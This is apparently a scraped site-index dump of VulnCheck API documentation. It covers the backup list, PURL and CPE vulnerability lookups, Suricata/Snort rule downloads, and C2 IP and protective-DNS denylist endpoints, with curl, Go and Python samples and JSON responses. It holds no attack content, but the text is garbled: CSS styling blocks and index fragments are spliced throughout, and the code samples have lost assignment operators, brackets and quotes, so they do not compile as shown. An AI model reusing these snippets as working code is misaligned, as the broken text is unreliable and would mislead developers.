.sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic},{id:182,title:181,titles:1273,content:184,level:528},,{id:1275,title:11,titles:1276,content:1277,level:542},/api/backups#overview,181,VulnCheck backups provide developers with access to hundreds of intelligence sources that we collect and curate, offering a central source for all accessing OSINT and VulnCheck vulnerability intelligence. The /v3/backup API endpoint lets developers access a list of all the backup and endpoint links that their account is licensed for, in alphabetical order. The API endpoint provides a similar list programmatically, which can be found in the VulnCheck API Sandbox located in the VulnCheck dashboard, and in the list of documented VulnCheck Indexes. This API endpoint is available to all community and commercial users.,{id:1279,title:1220,titles:1280,content:1281,level:542},/api/backups#example-requests,181,curl --request GET \\\n    --url https://api.vulncheck.com/v3/backup \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.BackupGet(auth).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.backup_get()\n\n    print(api_response.data),{id:1283,title:1158,titles:1284,content:1285,level:542},/api/backups#response,181,{\n  \_benchmark\: 1.146941,\n  \data\: {\n    \count\: 102,\n    \backups\: \n      {\n        \name\: \abb\,\n        \description\: \ABB Vulnerabilities\,\n        \backup\: \https://api.vulncheck.com/v3/backup/abb\\n      },\n      {\n        \name\: \adobe\,\n        \description\: \Adobe Vulnerabilities\,\n        \backup\: \https://api.vulncheck.com/v3/backup/adobe\\n      }\n    \n  }\n} html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic},{id:187,title:186,titles:1287,content:1288,level:528},,Request vulnerabilities related to a PURL Based on the specified PURL, this endpoint will return a list of vulnerabilities that are related to the package. You can find a list of supported package managers here,{id:1290,title:1231,titles:1291,content:1292,level:542},/api/purl#path-parameters,186,Package URL Scheme,{id:1294,title:1220,titles:1295,content:1296,level:542},/api/purl#example-requests,186,curl --request GET \\\n    --url https://api.vulncheck.com/v3/purl?purlpkg:hex/coherence@0.1.2 \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.PurlGet(auth).Purl(\pkg:hex/coherence@0.1.2\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.purl_get(\pkg:hex/coherence@0.1.2\)\n\n    print(api_response.data)\nvulncheck purl pkg:hex/coherence@0.1.2,{id:1298,title:1158,titles:1299,content:1300,level:542},/api/purl#response,186,{\n  \_benchmark\: 0.057389,\n  \_meta\: {\n    \purl_struct\: {\n      \type\: \hex\,\n      \namespace\: \\,\n      \name\: \coherence\,\n      \version\: \0.1.2\,\n      \qualifiers\: null,\n      \subpath\: \\\n    },\n    \timestamp\: \2023-09-11T15:02:50.325502302Z\,\n    \total_documents\: 1\n  },\n  \data\: {\n    \cves\: \n      \CVE-2018-20301\\n    ,\n    \vulnerabilities\: \n      {\n        \detection\: \CVE-2018-20301\,\n        \fixed_version\: \0.5.2\\n      }\n    \n  }\n} html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic},{id:192,title:191,titles:1302,content:1303,level:528},,Request vulnerabilities related to a CPE Based on the specified CPE (Common Platform Enumeration) URI string, this endpoint will return a list of vulnerabilities that are related to the package. We support v2.2 and v2.3,{id:1305,title:1231,titles:1306,content:1307,level:542},/api/cpe#path-parameters,191,CPE scheme using either the v2.2 or v2.3 formatReturns only CVEs associated with a CPE where the CPE is considered vulnerable.\nBy default the API will return all CVEs in which the CPE is mentioned, whether the CPE is the source of the vulnerability or not.  For example, cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:* is listed in many CVEs as part of a vulnerable configuration, but only one where the the device itself is inherently vulnerable.isVulnerabletrue - Return only the CVEs where the CPE is vulnerable.,{id:1309,title:1220,titles:1310,content:1311,level:542},/api/cpe#example-requests,191,curl --request GET \\\n    --url https://api.vulncheck.com/v3/cpe?cpecpe:/a:microsoft:internet_explorer:8.0.6001:beta \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.CpeGet(auth).Cpe(\cpe:/a:microsoft:internet_explorer:8.0.6001:beta\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.cpe_get(\cpe:/a:microsoft:internet_explorer:8.0.6001:beta\)\n\n    print(api_response.data)\nvulncheck cpe cpe:/a:microsoft:internet_explorer:8.0.6001:beta,{id:1313,title:1158,titles:1314,content:1315,level:542},/api/cpe#response,191,{\n  \_benchmark\: 0.09967,\n  \_meta\: {\n    \cpe\: \cpe:/a:microsoft:internet_explorer:8.0.6001:beta\,\n    \cpe_struct\: {\n      \part\: \a\,\n      \vendor\: \microsoft\,\n      \product\: \internet_explorer\,\n      \version\: \8\\\\.0\\\\.6001\,\n      \update\: \beta\,\n      \edition\: \*\,\n      \language\: \*\,\n      \sw_edition\: \*\,\n      \target_sw\: \*\,\n      \target_hw\: \*\,\n      \other\: \*\\n    },\n    \timestamp\: \2023-09-11T15:03:41.041475537Z\,\n    \total_documents\: 15\n  },\n  \data\: \n    \CVE-2008-4127\,\n    \CVE-2010-0246\,\n    \CVE-2010-0248\,\n    \CVE-2010-0494\,\n    \CVE-2002-2435\,\n    \CVE-2012-1545\,\n    \CVE-2010-0027\,\n    \CVE-2010-5071\,\n    \CVE-2010-0492\,\n    \CVE-2010-1117\,\n    \CVE-2010-0245\,\n    \CVE-2010-0490\,\n    \CVE-2009-2433\,\n    \CVE-2011-2383\,\n    \CVE-2010-0244\\n  \n} html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic},{id:197,title:196,titles:1317,content:1318,level:528},,Request Initial Access Intelligence Suricata or Snort rules VulnChecks Initial Access Intelligence Rules API allows customers to download Suricata or Snort rules that detect remote exploitation of Initial Access vulnerabilities (Remote Code Execution vulnerabilities that typically do not require authentication).,{id:1320,title:1091,titles:1321,content:1322,level:174},/api/rules#accessing-suricata-and-snort-rules,196,VulnCheck offers API endpoints for quick and easy access to the Suricata and Snort rules. The following endpoints contain one rule on each line: https://api.vulncheck.com/v3/rules/initial-access/suricatahttps://api.vulncheck.com/v3/rules/initial-access/snort For example, to fetch the Suricata rules, call /v3/rules/initial-access/suricata as follows: curl --request GET \\\n    --url https://api.vulncheck.com/v3/rules/initial-access/suricata \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.RulesInitialAccessTypeGet(auth, \suricata\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    fmt.Printf(\%+v\, resp)\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.rules_initial_access_type_get(\suricata\)\n\n    print(api_response)\nvulncheck rule suricata html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic},{id:202,title:201,titles:1324,content:1325,level:528},,Return a list of newline-separated (or JSON) IP addresses based on a IP tag VulnChecks IP Intelligence Tags API may be used to in a variety of ways, including in Next Generation (NG) Firewalls that leverage third-party denylists (like VulnCheck) to block Command and Control (C2) and attacker infrastructure via External Block List (EBL) or Dynamic Block List (DBL) functionality.,{id:1327,title:1153,titles:1328,content:1155,level:542},/api/tags#example-request-for-c2-ip-addresses-newline-separated,201,{id:1330,title:1158,titles:1331,content:1160,level:542},/api/tags#response,201,{id:1333,title:1163,titles:1334,content:1335,level:542},/api/tags#example-request-for-c2-ip-addresses-json,201,curl --request GET \\\n    --url https://api.vulncheck.com/v3/tags/vulncheck-c2?formatjson \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \fmt\\n    \io\\n    \net/http\\n)\n\nfunc main() {\n    request, _ : http.NewRequest(\GET\, \https://api.vulncheck.com/v3/tags/vulncheck-c2?formatjson\, nil)\n    request.Header.Set(\Accept\, \application/json\)\n    request.Header.Set(\Authorization\, \Bearer insert_token_here\)\n\n    response, _ : http.DefaultClient.Do(request)\n    defer response.Body.Close()\n    bodyBytes, _ : io.ReadAll(response.Body)\n    fmt.Println(string(bodyBytes))\n}\nimport requests\nurl  \https://api.vulncheck.com/v3/tags/vulncheck-c2?formatjson\\nheaders  {\n    \accept\: \application/json\\n}\ncookies  {\n    \token\: \insert_token_here\\n}\n\nresponse  requests.get(url, headersheaders, cookiescookies)\nprint(response.json())\nvulncheck tag --json html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic},{id:207,title:206,titles:1337,content:1338,level:528},,Return a list of newline-separated (or JSON) hostnames based on a hostname list for Protective DNS VulnChecks IP Intelligence Protective DNS (PDNS) API may be used to in a variety of ways, including in Protective DNS services that leverage third-party denylists (like VulnCheck) to block Command and Control (C2) and attacker infrastructure.,{id:1340,title:1153,titles:1341,content:1342,level:542},/api/pdns#example-request-for-c2-ip-addresses-newline-separated,206,curl --request GET \\\n    --url https://api.vulncheck.com/v3/pdns/vulncheck-c2 \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.PdnsVulncheckC2Get(auth).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    fmt.Printf(\%+v\, resp)\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.pdns_vulncheck_c2_get()\n\n    print(api_response)\nvulncheck pdns vulncheck-c2,{id:1344,title:1158,titles:1345,content:1176,level:542},/api/pdns#response,206,{id:1347,title:1163,titles:1348,content:1349,level:542},/api/pdns#example-request-for-c2-ip-addresses-json,206,curl --request GET \\\n    --url https://api.vulncheck.com/v3/pdns/vulncheck-c2?formatjson \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \fmt\\n    \io\\n    \net/http\\n)\n\nfunc main() {\n    request, _ : http.NewRequest(\GET\, \https://api.vulncheck.com/v3/pdns/vulncheck-c2?formatjson\, nil)\n    request.Header.Set(\Accept\, \application/json\)\n    request.Header.Set(\Authorization\, \Bearer insert_token_here\)\n\n    response, _ : http.DefaultClient.Do(request)\n    defer response.Body.Close()\n    bodyBytes, _ : io.ReadAll(response.Body)\n    fmt.Println(string(bodyBytes))\n}\nimport requests\nurl  \https://api.vulncheck.com/v3/pdns/vulncheck-c2?formatjson\\nheaders  {\n    \accept\: \application/json\\n}\ncookies  {\n    \token\: \insert_token_here\\n}\n\nresponse  requests.get(url, headersheaders, cookiescookies)\nprint(response.json())\nvulncheck pdns vulncheck-c2 --json html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: 